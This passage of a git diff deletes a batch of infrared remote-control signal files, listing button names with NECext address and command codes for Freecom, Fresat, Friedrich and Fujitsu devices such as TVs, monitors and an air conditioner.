KEY_AUDIO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_REPLY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: KEY_BRIGHTNESSDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_HOMEPAGE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 42 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 47 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 56 00 00 00 -# -name: KEY_REDO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 57 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 58 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 59 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir deleted file mode 100644 index 2af7e720c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: KEY_UNKNOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir deleted file mode 100644 index 3ca359c9c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: X_KEY_2_LNB -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 00 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 02 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 03 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 04 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 05 00 00 00 -# -name: N/W -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 07 00 00 00 -# -name: N1 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 08 00 00 00 -# -name: N2 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 09 00 00 00 -# -name: N3 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0B 00 00 00 -# -name: N4 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0C 00 00 00 -# -name: N5 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0D 00 00 00 -# -name: N6 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 0F 00 00 00 -# -name: B/W -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 10 00 00 00 -# -name: N8 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 11 00 00 00 -# -name: N0 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 12 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 14 00 00 00 -# -name: N9 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 16 00 00 00 -# -name: V/H -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 19 00 00 00 -# -name: C/KU -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 1A 00 00 00 -# -name: SKEW -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 1E 00 00 00 -# -name: N7 -type: parsed -protocol: NECext -address: 08 40 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir deleted file mode 100644 index 3bba50773..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: TEMP_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: TEMP_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: TIMER_SET_HOUR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: TIMER_START -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: TIMER_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: TIMER_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: COOL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: MONEY_SAVER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: FAN_ONLY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: FAN_SPEED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir deleted file mode 100644 index 3d784e250..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir deleted file mode 100644 index 2fc93b4d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 11 00 00 00 -# -name: SkipNext -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 20 00 00 00 -# -name: SkipLast -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 21 00 00 00 -# -name: SkipEND -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 2C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 2E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 2F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 37 00 00 00 -# -name: Goto -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 40 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 5C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 81 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 82 00 00 00 -# -name: KEY_KEYBOARD -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 86 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 87 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: 88 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: DA 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: EF 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: F0 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: F3 00 00 00 -# -name: Scroll+ -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: FE 00 00 00 -# -name: Scroll- -type: parsed -protocol: NECext -address: 20 B0 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir deleted file mode 100644 index 4d583b5d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_PROG1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir deleted file mode 100644 index 46d71763e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 03 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: RGB2:_D-SUB15 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: RGB3:_5_BNC -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0B 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0C 00 00 00 -# -name: RGB1:_DVI-D -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: SHIFT_1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: SHIFT_2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: SHIFT_3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: ADJ_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: ADJ_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 40 00 00 00 -# -name: SHIFT_4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 40 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: ADJ_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: ADJ_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 -# -name: ASPECT_TOGGLE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 81 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 82 00 00 00 -# -name: ASPECT_WIDE1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: ASPECT_WIDE2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 84 00 00 00 -# -name: ASPECT_ZOOM1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 85 00 00 00 -# -name: ASPECT_ZOOM2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 86 00 00 00 -# -name: LOCK_(HIDDEN) -type: parsed -protocol: NECext -address: 84 00 00 00 -command: E0 00 00 00 -# -name: MODE_(HIDDEN) -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir deleted file mode 100644 index d9af6ce2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 02 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 08 00 00 00 -# -name: ASPECT_WIDE_(TOG) -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 10 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 11 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 12 00 00 00 -# -name: ASPECT_WIDE1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 13 00 00 00 -# -name: ASPECT_WIDE2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 14 00 00 00 -# -name: ASPECT_ZOOM1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 15 00 00 00 -# -name: ASPECT_ZOOM2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 16 00 00 00 -# -name: ADJ_LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: ADJ_RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 22 00 00 00 -# -name: ADJ_UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: ADJ_DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 26 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 44 00 00 00 -# -name: PICTURE_MEMORY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir deleted file mode 100644 index 644271bed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 00 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: RGB1:_DVI-D -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB2:_D-SUB15 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir deleted file mode 100644 index 1ca4bfd7f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 10 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir deleted file mode 100644 index 1b21ead46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir +++ /dev/null @@ -1,632 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: POWER_-_ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: POWER_-_OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 03 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: VIDEO_1_2_3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: INPUT_-_VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 